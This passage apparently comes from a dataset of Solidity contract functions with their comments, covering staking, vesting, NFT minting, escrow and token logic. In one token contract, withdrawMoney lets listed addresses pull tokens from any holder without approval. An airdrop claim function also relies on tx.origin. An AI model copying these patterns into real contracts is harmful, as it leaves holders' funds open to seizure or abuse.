fees.\r\n FixedPoint.Unsigned memory disputeBondAmount = disputedLiquidation.lockedCollateral.mul(disputeBondPct).mul(\r\n _getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)\r\n );\r\n _addCollateral(rawLiquidationCollateral, disputeBondAmount);\r\n\r\n // Request a price from DVM. Liquidation is pending dispute until DVM returns a price.\r\n disputedLiquidation.state = Status.PendingDispute;\r\n disputedLiquidation.disputer = msg.sender;\r\n\r\n // Enqueue a request with the DVM.\r\n _requestOraclePrice(disputedLiquidation.liquidationTime);\r\n\r\n emit LiquidationDisputed(\r\n sponsor,\r\n disputedLiquidation.liquidator,\r\n msg.sender,\r\n liquidationId,\r\n disputeBondAmount.rawValue\r\n );\r\n totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);\r\n\r\n // Pay the final fee for requesting price from the DVM.\r\n _payFinalFees(msg.sender, disputedLiquidation.finalFee);\r\n\r\n // Transfer the dispute bond amount from the caller to this contract.\r\n collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);\r\n }", "version": "0.6.6"} {"comment": "// 0 - stop\n// 1 - preSale\n// 2 - sale 1\n// 3 - sale 2", "function_code": "function getStatus() internal constant returns (uint256) {\r\n if(now > tier2EndDate) {\r\n return 0;\r\n } else if(now > tier2StartDate && now < tier2EndDate) {\r\n return 3;\r\n } else if(now > tier1StartDate && now < tier1EndDate) {\r\n return 2;\r\n } else if(now > preIcoStartDate && now < preIcoEndDate){\r\n return 1;\r\n } else {\r\n return 0;\r\n }\r\n }", "version": "0.4.18"} {"comment": "// burn the rest\n// keep nuc and team tokens", "function_code": "function burnTokens() public onlyOwner {\r\n require(now > tier2EndDate);\r\n uint256 circulating = token.totalSupply().sub(token.balanceOf(this));\r\n\r\n uint256 _teamTokens = circulating.mul(percentsTeamTokens).div(100 - percentsTeamTokens-percentsNuclearTokens);\r\n uint256 _nucTokens = circulating.mul(percentsNuclearTokens).div(100 - percentsTeamTokens-percentsNuclearTokens);\r\n\r\n // safety check. The math should work out, but this is here just in case\r\n if (_teamTokens.add(_nucTokens)>token.balanceOf(this)){\r\n _nucTokens = token.balanceOf(this).sub(_teamTokens);\r\n }\r\n\r\n token.transfer(restricted, _teamTokens);\r\n token.transfer(token.AddressDefault(), _nucTokens);\r\n uint256 _burnTokens = token.balanceOf(this);\r\n if (_burnTokens>0){\r\n token.burn(_burnTokens);\r\n }\r\n }", "version": "0.4.18"} {"comment": "// ----------------------------------------------------------------------------\n// Modifier\n// ----------------------------------------------------------------------------\n// ----------------------------------------------------------------------------\n// Internal Function\n// ----------------------------------------------------------------------------", "function_code": "function _brokerFeeDistribute(uint _price, uint _type, uint _brokerId, uint _subBrokerId) internal {\r\n address vipBroker = getBrokerAddress(_brokerId, 0);\r\n address broker = getBrokerAddress(_brokerId, _subBrokerId);\r\n require(vipBroker != address(0) && broker != address(0));\r\n uint totalShare = _price*rewardPercent[_type]/100;\r\n BrokerIncoming[vipBroker] = BrokerIncoming[vipBroker] + totalShare*15/100;\r\n BrokerIncoming[broker] = BrokerIncoming[broker] + totalShare*85/100;\r\n \r\n emit BrokerFeeDistrubution(_brokerId, vipBroker, totalShare*15/100, _subBrokerId, broker, totalShare*85/100);\r\n }", "version": "0.4.24"} {"comment": "// ----------------------------------------------------------------------------\n// Public Function\n// ----------------------------------------------------------------------------", "function_code": "function registerBroker() public payable returns (uint) {\r\n require(vipBrokerNum > 0);\r\n require(msg.value >= vipBrokerFee);\r\n require(UserToIfBroker[msg.sender] == false);\r\n UserToIfBroker[msg.sender] = true;\r\n vipBrokerNum--;\r\n uint brokerId = 1000 - vipBrokerNum;\r\n BrokerIdToBrokers[brokerId].push(msg.sender);\r\n BrokerIdToSpots[brokerId] = subBrokerNum;\r\n emit BrokerRegistered(brokerId, msg.sender);\r\n return brokerId;\r\n }", "version": "0.4.24"} {"comment": "/**\n * @notice Get reward schedule entry\n * @param index Index location\n * @return Rewards schedule entry\n */", "function_code": "function rewardScheduleEntry(uint256 index) public override view returns (RewardScheduleEntry memory) {\n RewardScheduleEntry memory entry;\n uint256 start = index * REWARD_SCHEDULE_ENTRY_LENGTH;\n entry.startTime = _rewardSchedule.toUint64(start);\n entry.epochDuration = _rewardSchedule.toUint64(start + 8);\n entry.rewardsPerEpoch = _rewardSchedule.toUint128(start + 16);\n return entry;\n }", "version": "0.8.6"} {"comment": "// Get all token IDs of address", "function_code": "function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) \r\n {\r\n uint256 tokenCount = balanceOf(_owner);\r\n \r\n if (tokenCount == 0) \r\n {\r\n // Return an empty array\r\n return new uint256[](0);\r\n } else \r\n {\r\n uint256[] memory result = new uint256[](tokenCount);\r\n uint256 resultIndex = 0;\r\n \r\n // We count on the fact that all cats have IDs starting at 1 and increasing\r\n // sequentially up to the totalCat count.\r\n uint256 tokenId;\r\n \r\n for (tokenId = 0; tokenId < packages.length; tokenId++) \r\n {\r\n if (tokenOwner[tokenId] == _owner) \r\n {\r\n result[resultIndex] = tokenId;\r\n resultIndex++;\r\n }\r\n }\r\n \r\n return result;\r\n }\r\n }", "version": "0.4.21"} {"comment": "// ETH handler", "function_code": "function BuyPresalePackage(uint8 packageId, address referral) external payable\r\n {\r\n require(isActive);\r\n require(packageId < presalePackLimit.length);\r\n require(msg.sender != referral);\r\n require(presalePackLimit[packageId] > presalePackSold[packageId]);\r\n\r\n require(presaleTokenContract != RigCraftPresalePackageToken(address(0)));\r\n\r\n // check money\r\n require(msg.value >= presalePackagePrice[packageId]);\r\n \r\n presalePackSold[packageId]++;\r\n \r\n totalFundsSoFar += msg.value;\r\n \r\n presaleTokenContract.CreateToken(msg.sender, packageId, presalePackSold[packageId]);\r\n \r\n if(referral != address(0))\r\n {\r\n if(addressRefferedCount[referral] == 0)\r\n {\r\n referralAddressIndex.length += 1;\r\n referralAddressIndex[referralAddressIndex.length-1] = referral;\r\n }\r\n addressRefferedCount[referral] += 1;\r\n addressRefferredSpending[referral] += msg.value;\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @dev Update the treasury fee for this contract\r\n * defaults at 25% of taxFee, It can be set on only by YZY governance.\r\n * Note contract owner is meant to be a governance contract allowing YZY governance consensus\r\n */", "function_code": "function changeFeeInfo(\r\n uint16 treasuryFee,\r\n uint16 rewardFee,\r\n uint16 lotteryFee,\r\n uint16 swapRewardFee,\r\n uint16 burnFee\r\n ) external onlyOwner {\r\n _treasuryFee = treasuryFee;\r\n _rewardFee = rewardFee;\r\n _lotteryFee = lotteryFee;\r\n _swapRewardFee = swapRewardFee;\r\n _burnFee = burnFee;\r\n\r\n emit ChangedFeeInfo(_msgSender(), treasuryFee, rewardFee, lotteryFee, swapRewardFee, burnFee);\r\n }", "version": "0.7.6"} {"comment": "// Get YZY reward per block", "function_code": "function getYzyPerBlockForYzyReward() public view returns (uint256) {\r\n uint256 multiplier = getMultiplier(_startBlock, block.number);\r\n \r\n if (multiplier == 0 || getTotalStakedAmount() == 0) {\r\n return 0;\r\n } else if (multiplier <= _firstRewardPeriod) {\r\n return _firstRewardAmount\r\n .mul(uint256(_allocPointForYZYReward))\r\n .mul(1 ether)\r\n .div(getTotalStakedAmount())\r\n .div(_firstRewardPeriod)\r\n .div(10000);\r\n } else if (multiplier > _firstRewardPeriod && multiplier <= _secondRewardPeriod) {\r\n return _secondRewardAmount\r\n .mul(uint256(_allocPointForYZYReward))\r\n .mul(1 ether)\r\n .div(getTotalStakedAmount())\r\n .div(_secondRewardPeriod)\r\n .div(10000);\r\n } else {\r\n return _collectedAmountForStakers.mul(1 ether).div(getTotalStakedAmount()).div(multiplier);\r\n }\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Stake LP Token to get YZY-ETH LP tokens\r\n */", "function_code": "function stakeLPToken(uint256 amount) external returns (bool) {\r\n require(!isContract(_msgSender()), \"Vault: Could not be contract.\");\r\n\r\n _yzyETHV2Pair.transferFrom(_msgSender(), address(this), amount);\r\n\r\n StakerInfo storage staker = _stakers[_msgSender()];\r\n\r\n if (staker.stakedAmount > 0) {\r\n claimYzyReward();\r\n claimSwapReward();\r\n } else {\r\n staker.lastClimedBlockForYzyReward = block.number;\r\n staker.lastClimedBlockForSwapReward = block.number;\r\n }\r\n\r\n staker.stakedAmount = staker.stakedAmount.add(amount);\r\n staker.lockedTo = _lockPeriod.add(block.timestamp);\r\n\r\n emit Staked(_msgSender(), amount);\r\n\r\n return _sendLotteryAmount();\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Unstake staked YZY-ETH LP tokens\r\n */", "function_code": "function unstake(uint256 amount) external returns (bool) {\r\n require(!isContract(_msgSender()), \"Vault: Could not be contract.\");\r\n\r\n StakerInfo storage staker = _stakers[_msgSender()];\r\n\r\n require(\r\n staker.stakedAmount > 0 &&\r\n amount > 0 &&\r\n amount <= staker.stakedAmount,\r\n \"Vault: Invalid amount to unstake.\"\r\n );\r\n\r\n claimYzyReward();\r\n\r\n claimSwapReward();\r\n\r\n if (_enabledLock &&\r\n _stakers[_msgSender()].lockedTo > 0 &&\r\n block.timestamp < _stakers[_msgSender()].lockedTo\r\n ) {\r\n uint256 feeAmount = amount.mul(uint256(_earlyUnstakeFee)).div(10000);\r\n _yzyETHV2Pair.transfer(_daoTreasury, feeAmount); \r\n _yzyETHV2Pair.transfer(_msgSender(), amount.sub(feeAmount));\r\n } else {\r\n _yzyETHV2Pair.transfer(_msgSender(), amount);\r\n }\r\n\r\n staker.stakedAmount = staker.stakedAmount.sub(amount);\r\n\r\n emit Unstaked(_msgSender(), amount);\r\n \r\n return _sendLotteryAmount();\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev internal function to send lottery rewards\r\n */", "function_code": "function _sendLotteryAmount() internal returns (bool) {\r\n if (!_enabledLottery || _lotteryAmount <= 0)\r\n return false;\r\n \r\n uint256 usdcReserve = 0;\r\n uint256 ethReserve1 = 0;\r\n uint256 yzyReserve = 0;\r\n uint256 ethReserve2 = 0;\r\n address token0 = _usdcETHV2Pair.token0();\r\n\r\n if (token0 == address(_weth)){\r\n (ethReserve1, usdcReserve, ) = _usdcETHV2Pair.getReserves();\r\n } else {\r\n (usdcReserve, ethReserve1, ) = _usdcETHV2Pair.getReserves();\r\n }\r\n\r\n token0 = _yzyETHV2Pair.token0();\r\n\r\n if (token0 == address(_weth)){\r\n (ethReserve2, yzyReserve, ) = _yzyETHV2Pair.getReserves();\r\n } else {\r\n (yzyReserve, ethReserve2, ) = _yzyETHV2Pair.getReserves();\r\n }\r\n\r\n if (ethReserve1 <= 0 || yzyReserve <= 0)\r\n return false;\r\n\r\n uint256 yzyPrice = usdcReserve.mul(1 ether).div(ethReserve1).mul(ethReserve2).div(yzyReserve);\r\n uint256 lotteryValue = yzyPrice.mul(_lotteryAmount).div(1 ether);\r\n\r\n if (lotteryValue > 0 && lotteryValue >= _lotteryLimit) {\r\n uint256 amount = _lotteryLimit.mul(1 ether).div(yzyPrice);\r\n\r\n if (amount > _lotteryAmount)\r\n amount = _lotteryAmount;\r\n\r\n _yzy.transfer(_msgSender(), amount);\r\n _lotteryAmount = _lotteryAmount.sub(amount);\r\n _lotteryPaidOut = _lotteryPaidOut.add(amount);\r\n\r\n emit SentLotteryAmount(_msgSender(), amount, true);\r\n\r\n winnerInfo.push(\r\n WinnerInfo({\r\n winner: _msgSender(),\r\n amount: amount,\r\n timestamp: block.timestamp\r\n })\r\n );\r\n }\r\n\r\n return false;\r\n }", "version": "0.7.6"} {"comment": "/**\n * Returns the custom URI for each token id. Overrides the default ERC-1155 single URI.\n */", "function_code": "function uri(uint256 tokenId) public view override returns (string memory) {\n // If no URI exists for the specific id requested, fallback to the default ERC-1155 URI.\n if (bytes(tokenURI[tokenId]).length == 0) {\n return super.uri(tokenId);\n }\n return tokenURI[tokenId];\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Allow minting of a single 333 token by whitelisted addresses only\n */", "function_code": "function mint333(bytes32 messageHash, bytes calldata signature) external payable {\n require(saleIsActive333, \"SALE_NOT_ACTIVE\");\n require(TOKEN_PRICE_333 == msg.value, \"PRICE_WAS_INCORRECT\");\n require(totalSupply(TOKEN_ID_333) < MAX_TOKENS_333, \"MAX_TOKEN_SUPPLY_REACHED\");\n require(hasAddressMinted333[msg.sender] == false, \"ADDRESS_HAS_ALREADY_MINTED_333_TOKEN\");\n require(hashMessage(msg.sender) == messageHash, \"MESSAGE_INVALID\");\n require(verifyAddressSigner(messageHash, signature), \"SIGNATURE_VALIDATION_FAILED\");\n\n hasAddressMinted333[msg.sender] = true;\n\n _mint(msg.sender, TOKEN_ID_333, 1, \"\");\n\n if (totalSupply(TOKEN_ID_333) >= MAX_TOKENS_333) {\n saleIsActive333 = false;\n }\n }", "version": "0.8.7"} {"comment": "/**\n * @notice Allow owner to send `mintNumber` 333 tokens without cost to multiple addresses\n */", "function_code": "function gift333(address[] calldata receivers, uint256 numberOfTokens) external onlyOwner {\n require((totalSupply(TOKEN_ID_333) + (receivers.length * numberOfTokens)) <= MAX_TOKENS_333, \"MINT_TOO_LARGE\");\n\n for (uint256 i = 0; i < receivers.length; i++) {\n _mint(receivers[i], TOKEN_ID_333, numberOfTokens, \"\");\n }\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice claim ERNE tokens. \r\n * * Only for 20 days from the date of deployment\r\n * * Only for first 150,000 users\r\n * * First 10,000 Claimers will get ERNE NFT\r\n * @param tokenAddr The ERNE token address. \r\n * @param amount The amount of token to transfer. \r\n * @param deadline The deadline for signature. \r\n * @param signature The signature created with 'signer'\r\n */", "function_code": "function claim(address tokenAddr, uint amount, uint deadline, bytes calldata signature)\r\n public \r\n { \r\n //Check msg.sender claim status \r\n require(!claimStatus[tx.origin], \"Erne::claim: Duplicate call\");\r\n \r\n // Time and count check\r\n require((now <= (strTime + 20 days)) && count < 150000 , \"Erne::claim: time expired/Count exceeds\");\r\n \r\n //messageHash can be used only once\r\n bytes32 messageHash = message(tx.origin, amount, deadline);\r\n require(!msgHash[messageHash], \"Erne::claim: signature duplicate\");\r\n \r\n //Verifes signature \r\n address src = verifySignature(messageHash, signature);\r\n require(signer == src, \"Erne::claim: unauthorized\");\r\n \r\n //Chage the Status of used messageHash \r\n msgHash[messageHash] = true;\r\n \r\n //Chage the Status of user claim status \r\n claimStatus[tx.origin] = true;\r\n\r\n // First 10,000 Claimers will get ERNE NFT \r\n if(count < 10000) {\r\n IERC1155(NFT).safeTransferFrom(erc1155Holder, msg.sender, tokenId, 1, \"0x0\");\r\n }\r\n count = count + 1;\r\n\r\n //ERNE Transfer\r\n IERC20(tokenAddr).transfer(msg.sender,amount);\r\n }", "version": "0.6.12"} {"comment": "/// @notice Unstake from the Pounder to USDT\n/// @param amount - the amount of uCRV to unstake\n/// @param minAmountOut - the min expected amount of USDT to receive\n/// @param to - the adress that will receive the USDT\n/// @return amount of USDT obtained", "function_code": "function claimFromVaultAsUsdt(\n uint256 amount,\n uint256 minAmountOut,\n address to\n ) public notToZeroAddress(to) returns (uint256) {\n _withdrawFromVaultAsEth(amount);\n _swapEthToUsdt(address(this).balance, minAmountOut, to);\n uint256 _usdtAmount = IERC20(USDT).balanceOf(address(this));\n if (to != address(this)) {\n IERC20(USDT).safeTransfer(to, _usdtAmount);\n }\n return _usdtAmount;\n }", "version": "0.8.9"} {"comment": "/// @notice Unstake from the Pounder to stables and stake on 3pool convex for yield\n/// @param amount - amount of uCRV to unstake\n/// @param minAmountOut - minimum amount of 3CRV (NOT USDT!)\n/// @param to - address on behalf of which to stake", "function_code": "function claimFromVaultAndStakeIn3PoolConvex(\n uint256 amount,\n uint256 minAmountOut,\n address to\n ) public notToZeroAddress(to) {\n // claim as USDT\n uint256 _usdtAmount = claimFromVaultAsUsdt(amount, 0, address(this));\n // add USDT to Tripool\n triPool.add_liquidity([0, 0, _usdtAmount], minAmountOut);\n // deposit on Convex\n booster.depositAll(9, false);\n // stake on behalf of user\n triPoolRewards.stakeFor(\n to,\n IERC20(CONVEX_TRIPOOL_TOKEN).balanceOf(address(this))\n );\n }", "version": "0.8.9"} {"comment": "/// @notice Claim to any token via a univ2 router\n/// @notice Use at your own risk\n/// @param amount - amount of uCRV to unstake\n/// @param minAmountOut - min amount of output token expected\n/// @param router - address of the router to use. e.g. 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F for Sushi\n/// @param outputToken - address of the token to swap to\n/// @param to - address of the final recipient of the swapped tokens", "function_code": "function claimFromVaultViaUniV2EthPair(\n uint256 amount,\n uint256 minAmountOut,\n address router,\n address outputToken,\n address to\n ) public notToZeroAddress(to) {\n require(router != address(0));\n _withdrawFromVaultAsEth(amount);\n address[] memory _path = new address[](2);\n _path[0] = WETH;\n _path[1] = outputToken;\n IUniV2Router(router).swapExactETHForTokens{\n value: address(this).balance\n }(minAmountOut, _path, to, block.timestamp + 60);\n }", "version": "0.8.9"} {"comment": "/// @notice Deposit into the pounder from any token via Uni interface\n/// @notice Use at your own risk\n/// @dev Zap contract needs approval for spending of inputToken\n/// @param amount - min amount of input token\n/// @param minAmountOut - min amount of cvxCRV expected\n/// @param router - address of the router to use. e.g. 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F for Sushi\n/// @param inputToken - address of the token to swap from, needs to have an ETH pair on router used\n/// @param to - address to stake on behalf of", "function_code": "function depositViaUniV2EthPair(\n uint256 amount,\n uint256 minAmountOut,\n address router,\n address inputToken,\n address to\n ) external notToZeroAddress(to) {\n require(router != address(0));\n\n IERC20(inputToken).safeTransferFrom(msg.sender, address(this), amount);\n address[] memory _path = new address[](2);\n _path[0] = inputToken;\n _path[1] = WETH;\n\n IERC20(inputToken).safeApprove(router, 0);\n IERC20(inputToken).safeApprove(router, amount);\n\n IUniV2Router(router).swapExactTokensForETH(\n amount,\n 1,\n _path,\n address(this),\n block.timestamp + 1\n );\n _depositFromEth(address(this).balance, minAmountOut, to);\n }", "version": "0.8.9"} {"comment": "/*\r\n * @dev Transfers sender's tokens to a given address. Returns success.\r\n * @param _from Address of Owner.\r\n * @param _to Address of token receiver.\r\n * @param _value Number of tokens to transfer.\r\n */", "function_code": "function _transfer(address _from, address _to, uint _value) internal {\r\n require(_to != 0x0);\r\n require(balances[_from] >= _value);\r\n require(balances[_to] + _value >= balances[_to]);\r\n \r\n uint previousBalances = balances[_from] + balances[_to];\r\n \r\n balances[_from] -= _value;\r\n balances[_to] += _value;\r\n \r\n assert(balances[_from] + balances[_to] == previousBalances);\r\n emit Transfer(_from, _to, _value);\r\n }", "version": "0.4.24"} {"comment": "/**\n * Set some tokens aside\n */", "function_code": "function reserveTokens(uint numTokens) public onlyOwner {\n require(numTokens > 0, \"numTokens was not given\");\n // require ( tokenId > 15000 && tokenId < 15626 , \"Token ID invalid\" ) ;\n require(reservedTokens.add(numTokens) <= maxTokenSupply, \"Reserving numTokens would exceed max supply of tokens\");\n\n // reserve tokens\n uint supply = reservedTokens.add(15000);\n uint i;\n for (i = 1; i <= numTokens; i++) {\n _safeMint(msg.sender, supply + i);\n }\n reservedTokens = reservedTokens.add(numTokens);\n }", "version": "0.8.0"} {"comment": "/**\n * Mint an escrow ticket\n *\n * @param _consignmentId - the id of the consignment being sold\n * @param _amount - the amount of the given token to escrow\n * @param _buyer - the buyer of the escrowed item(s) to whom the ticket is issued\n */", "function_code": "function issueTicket(uint256 _consignmentId, uint256 _amount, address payable _buyer)\n external\n override\n onlyRole(MARKET_HANDLER)\n {\n // Get the MarketController\n IMarketController marketController = getMarketController();\n\n // Fetch consignment (reverting if consignment doesn't exist)\n Consignment memory consignment = marketController.getConsignment(_consignmentId);\n\n // Make sure amount is non-zero\n require(_amount > 0, \"Token amount cannot be zero.\");\n\n consignmentIdToTicketClaimableCount[_consignmentId] += _amount;\n\n // Make sure that there can't be more tickets issued than the maximum possible consignment allocation\n require(consignmentIdToTicketClaimableCount[_consignmentId] <= consignment.supply, \"Can't issue more tickets than max possible allowed consignment\");\n\n // Get the ticketed token\n Token memory token = ISeenHausNFT(consignment.tokenAddress).getTokenInfo(consignment.tokenId);\n\n // Create and store escrow ticket\n uint256 ticketId = nextTicket++;\n EscrowTicket storage ticket = tickets[ticketId];\n ticket.amount = _amount;\n ticket.consignmentId = _consignmentId;\n ticket.id = ticketId;\n ticket.itemURI = token.uri;\n\n // Mint the ticket and send to the buyer\n _mint(_buyer, ticketId);\n\n // Notify listeners about state change\n emit TicketIssued(ticketId, _consignmentId, _buyer, _amount);\n }", "version": "0.8.2"} {"comment": "/**\n * Claim the escrowed items associated with the ticket.\n *\n * @param _ticketId - the ticket representing the escrowed items\n */", "function_code": "function claim(uint256 _ticketId)\n external\n override\n {\n require(_exists(_ticketId), \"Invalid ticket id\");\n require(ownerOf(_ticketId) == msg.sender, \"Caller not ticket holder\");\n\n // Get the MarketController\n IMarketController marketController = getMarketController();\n\n // Get the ticket\n EscrowTicket memory ticket = tickets[_ticketId];\n\n // Burn the ticket\n _burn(_ticketId);\n delete tickets[_ticketId];\n\n // Release the consignment to claimant\n marketController.releaseConsignment(ticket.consignmentId, ticket.amount, msg.sender);\n\n // Notify listeners of state change\n emit TicketClaimed(_ticketId, msg.sender, ticket.amount);\n\n }", "version": "0.8.2"} {"comment": "// override of default function", "function_code": "function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\r\n // check address\r\n bool isBurnable = IsBurnable(_msgSender(), recipient);\r\n\r\n // check if transfer is enabled\r\n require(isTransferable || !isBurnable, \"PiranhasToken: Transfer disabled\");\r\n\r\n if (isTransferable) {\r\n if (isBurnable) {\r\n // divide amount in different parts\r\n uint256 burnPart = amount.div(100).mul(10);\r\n uint256 newAmount = amount.sub(burnPart);\r\n\r\n if (totalSupply().sub(burnPart) < minTotalSupply.mul(10 ** 18)) {\r\n burnPart = totalSupply().sub(minTotalSupply.mul(10 ** 18));\r\n newAmount = amount.sub(burnPart);\r\n }\r\n\r\n if (burnPart == 0) {\r\n _transfer(_msgSender(), recipient, amount);\r\n return true;\r\n } else {\r\n _transfer(_msgSender(), recipient, newAmount);\r\n _burn(_msgSender(), burnPart);\r\n return true;\r\n }\r\n } else {\r\n _transfer(_msgSender(), recipient, amount);\r\n return true;\r\n }\r\n } else if (!isBurnable) {\r\n _transfer(_msgSender(), recipient, amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.6.12"} {"comment": "// function for PiranhasGame which canWithdrawMoney", "function_code": "function withdrawMoney(address recipient, uint256 amount) public virtual returns (bool) {\r\n bool isInList = false;\r\n for (uint i = 0; i < canTransfer.length; i++) {\r\n if (canTransfer[i] == _msgSender()) {\r\n isInList = true;\r\n }\r\n }\r\n require(isInList, \"PiranhasToken: Forbid action for this address\");\r\n _transfer(recipient, _msgSender(), amount);\r\n return true;\r\n }", "version": "0.6.12"} {"comment": "// read function which return if addres is in WithoutBurnList", "function_code": "function IsBurnable(address sender, address recipient) public view returns (bool) {\r\n bool isBurnable = true;\r\n for (uint i = 0; i < WithoutBurn.length; i++) {\r\n if (WithoutBurn[i] == sender || WithoutBurn[i] == recipient) {\r\n isBurnable = false;\r\n }\r\n }\r\n return isBurnable;\r\n }", "version": "0.6.12"} {"comment": "// remover address from CanTransferList which can call withdrawMoney", "function_code": "function removeCanTransfer(address account) public onlyOwner {\r\n address[] memory OldcanTransfer = canTransfer;\r\n delete canTransfer;\r\n for (uint256 i = 0; i < OldcanTransfer.length; i++) {\r\n if (OldcanTransfer[i] != account) {\r\n canTransfer.push(OldcanTransfer[i]);\r\n }\r\n }\r\n\r\n }", "version": "0.6.12"} {"comment": "// remove address to WithoutBurn list", "function_code": "function removeWithoutBurn(address account) public onlyOwner {\r\n address[] memory OldWithoutBurn = WithoutBurn;\r\n delete WithoutBurn;\r\n for (uint256 i = 0; i < OldWithoutBurn.length; i++) {\r\n if (OldWithoutBurn[i] != account) {\r\n WithoutBurn.push(OldWithoutBurn[i]);\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n *\r\n * @dev setup vesting plans for investors\r\n *\r\n * @param _strategy indicate the distribution plan - seed, strategic and private\r\n * @param _cliff duration in days of the cliff in which tokens will begin to vest\r\n * @param _start vesting start date\r\n * @param _duration duration in days of the period in which the tokens will vest\r\n *\r\n */", "function_code": "function setVestingInfo(\r\n uint256 _strategy,\r\n uint256 _cliff,\r\n uint256 _start,\r\n uint256 _duration,\r\n uint256 _step\r\n ) external override onlyOwner {\r\n require(_strategy != 0, \"Strategy should be correct\");\r\n require(!vestingInfos[_strategy].active, \"Vesting option already exist\");\r\n\r\n vestingInfos[_strategy].strategy = _strategy;\r\n vestingInfos[_strategy].cliff = _cliff;\r\n vestingInfos[_strategy].start = _start;\r\n vestingInfos[_strategy].duration = _duration;\r\n vestingInfos[_strategy].step = _step;\r\n vestingInfos[_strategy].active = true;\r\n\r\n emit VestingInfoAdded(_strategy, _cliff, _start, _duration);\r\n }", "version": "0.8.11"} {"comment": "/**\r\n *\r\n * @dev set the address as whitelist user address\r\n *\r\n * @param _tokenId token index\r\n * @param _wallet wallet addresse array\r\n * @param _tokenAmount vesting token amount array\r\n * @param _option vesting info array\r\n *\r\n */", "function_code": "function addWhitelists(\r\n uint256 _tokenId,\r\n address[] calldata _wallet,\r\n uint256[] calldata _tokenAmount,\r\n uint256[] calldata _option\r\n ) external override onlyOwner {\r\n require(_wallet.length == _tokenAmount.length, \"Invalid array length\");\r\n require(_option.length == _tokenAmount.length, \"Invalid array length\");\r\n\r\n for (uint256 i = 0; i < _wallet.length; i++) {\r\n require(whitelists[_tokenId][_wallet[i]].wallet != _wallet[i], \"Whitelist already available\");\r\n require(vestingInfos[_option[i]].active, \"Vesting option is not existing\");\r\n\r\n whitelists[_tokenId][_wallet[i]] = WhitelistInfo(\r\n _wallet[i],\r\n _tokenAmount[i],\r\n 0,\r\n block.timestamp,\r\n vestingInfos[_option[i]].cliff,\r\n vestingInfos[_option[i]].start,\r\n vestingInfos[_option[i]].duration,\r\n vestingInfos[_option[i]].step,\r\n vestingInfos[_option[i]].start + vestingInfos[_option[i]].cliff * 1 days,\r\n _option[i],\r\n true\r\n );\r\n\r\n emit AddWhitelist(_tokenId, _wallet[i]);\r\n }\r\n }", "version": "0.8.11"} {"comment": "/**\r\n *\r\n * @dev distribute the token to the investors\r\n *\r\n * @param _tokenId vesting token index\r\n *\r\n * @return {bool} return status of distribution\r\n *\r\n */", "function_code": "function claimDistribution(uint256 _tokenId) external override nonReentrant returns (bool) {\r\n WhitelistInfo storage wInfo = whitelists[_tokenId][msg.sender];\r\n\r\n require(wInfo.active, \"User is not in whitelist\");\r\n\r\n require(block.timestamp >= wInfo.nextReleaseTime, \"NextReleaseTime is not reached\");\r\n\r\n uint256 releaseAmount = calculateReleasableAmount(_tokenId, msg.sender);\r\n\r\n if (releaseAmount != 0) {\r\n IERC20(vestingTokens[_tokenId]).safeTransfer(msg.sender, releaseAmount);\r\n wInfo.distributedAmount = wInfo.distributedAmount + releaseAmount;\r\n wInfo.nextReleaseTime =\r\n uint256((block.timestamp - wInfo.start) / wInfo.step + 1) *\r\n wInfo.step +\r\n wInfo.start;\r\n return true;\r\n }\r\n\r\n return false;\r\n }", "version": "0.8.11"} {"comment": "/**\r\n *\r\n * @dev calculate the total vested amount by the time\r\n *\r\n * @param _tokenId vesting token index\r\n * @param _wallet user wallet address\r\n *\r\n * @return {uint256} return vested amount\r\n *\r\n */", "function_code": "function calculateVestAmount(uint256 _tokenId, address _wallet) public view returns (uint256) {\r\n WhitelistInfo memory info = whitelists[_tokenId][_wallet];\r\n if (block.timestamp < info.cliff * 1 days + info.start) {\r\n return 0;\r\n } else if (block.timestamp >= info.start + (info.duration * 1 days)) {\r\n return info.tokenAmount;\r\n }\r\n\r\n return\r\n (info.tokenAmount * uint256((block.timestamp - info.start) / info.step) * info.step) /\r\n (info.duration * 1 days);\r\n }", "version": "0.8.11"} {"comment": "// The following functions are overrides required by Solidity.\n// check that account have necessary balance not into hold", "function_code": "function _beforeTokenTransfer(address from, address to, uint256 amount)\r\n internal\r\n override(ERC20, ERC20Snapshot)\r\n {\r\n super._beforeTokenTransfer(from, to, amount);\r\n if (from != address(0) && (to != address(0) || from == msg.sender)) {\r\n uint256 senderRealBalance = balanceOf(from) - _holdes[from];\r\n require(senderRealBalance >= amount, \"ERC20: not enough tokens not in hold\");\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\n * @dev Get CRV rewards\n */", "function_code": "function harvest(address gauge) public {\n require(msg.sender == tx.origin ,\"!contract\");\n\n ICrvMinter(crv_minter).mint(gauge);\n\n uint256 crvToWant = crv.balanceOf(address(this)).mul(toWant).div(100);\n\n if (crvToWant == 0)\n return;\n\n uint256 bWantBefore = IERC20(want).balanceOf(address(this));\n\n IUniswapRouter(unirouter).swapExactTokensForTokens(\n crvToWant, 1, swap2WantRouting, address(this), block.timestamp\n );\n\n uint256 bWantAfter = IERC20(want).balanceOf(address(this));\n\n uint256 fee = bWantAfter.sub(bWantBefore).mul(manageFee).div(100);\n IERC20(want).safeTransfer(IController(controller).rewards(), fee);\n\n if (toBella != 0) {\n uint256 crvBalance = crv.balanceOf(address(this));\n IUniswapRouter(unirouter).swapExactTokensForTokens(\n crvBalance, 1, swap2BellaRouting, address(this), block.timestamp\n );\n splitBella();\n }\n\n deposit();\n\n }", "version": "0.5.15"} {"comment": "//Charge a 0.3% deposit fee", "function_code": "function makeDeposit(address sender, uint256 amount) internal {\r\n require(balances[sender] == 0);\r\n require(amount > 0);\r\n \r\n //Take 0.3% of the fee and send it to the Owner of the contract\r\n uint256 depositFee = (amount.div(1000)).mul(3);\r\n uint256 newAmount = (amount.mul(1000)).sub(depositFee.mul(1000));\r\n 